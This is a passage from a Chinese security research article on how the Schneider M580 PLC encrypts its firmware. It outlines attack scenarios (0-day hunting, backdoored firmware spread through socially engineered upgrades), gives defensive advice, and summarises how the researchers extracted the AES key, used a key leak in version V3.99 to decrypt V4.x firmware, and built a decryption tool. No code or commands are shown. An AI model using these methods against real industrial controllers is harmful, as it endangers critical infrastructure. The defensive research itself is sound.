leaf="">攻击者获取固件 → 解密 → 逆向分析 → 发现 0-day 漏洞 → 武器化利用</span></p><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">     2</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;,&#34;style&#34;:&#34;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;visibility: visible;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">)  </span><span leaf="">后门植入</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解密固件 → 植入恶意代码 → 重新打包 → 社会工程诱导升级 → 控制设备</span></p><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">      3</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;,&#34;style&#34;:&#34;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;visibility: visible;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">)  </span><span leaf="">知识产权窃取</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">解密固件 → 提取细节内容实现 → 开发兼容设备 → 商业竞争</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">基于此特提出如下的防护建议：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">工控厂商层面</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">密钥管理改进：</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">采用设备级唯一密钥</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用硬件安全模块（HSM）保护密钥</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实施密钥分层管理</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">固件保护增强</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">采用白盒加密技术保护密钥</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实施代码混淆和反调试机制</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用安全启动验证固件完整性</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">升级路径重设计</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">避免在过渡版本中暴露新密钥</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用密钥交换协议动态协商密钥</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实施固件版本隔离机制</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">业主用户层面</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">网络隔离</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">将 PLC 设备部署于独立 VLAN</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实施严格的防火墙策略</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">禁止 PLC 直接暴露于互联网</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">访问控制</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">启用设备内置的访问控制功能</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">定期更换默认密码</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">实施最小权限原则</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">监控审计</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">部署工控入侵检测系统</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">监控异常 Modbus 流量</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">记录所有固件升级操作</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">固件管理</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">仅从官方渠道获取固件</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">验证固件数字签名</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">建立固件版本基线</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><strong style="align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">6、总结</span></strong></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">本文分析了施耐德M580工业控制器固件保护机制，完整还原了从 V3.x 到 V4.x 的加密体系演进过程。主要研究成果包括：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">密钥提取：从设备内存中提取 AES-256 加密密钥和初始化向量</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">算法逆向：完整还原 AES-256-CBC + LZMA 加密压缩方案</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">跨版本攻击：发现过渡版本 V3.99 中的密钥泄露问题，实现 V4.x 固件解密</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">工具开发：实现支持全版本的自动化固件解密工具</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">本研究再次印证：固件加密若缺乏密钥保护、协议认证与安全启动支撑，仅是“纸面安全”。呼吁工控厂商在设计阶段即融入纵深防御、内嵌安全的理念，共同筑牢工业控制系统安全底座。</span></p></div><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c1a3fffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FkiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w%2F640%3Fwx_fmt%3Dgif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 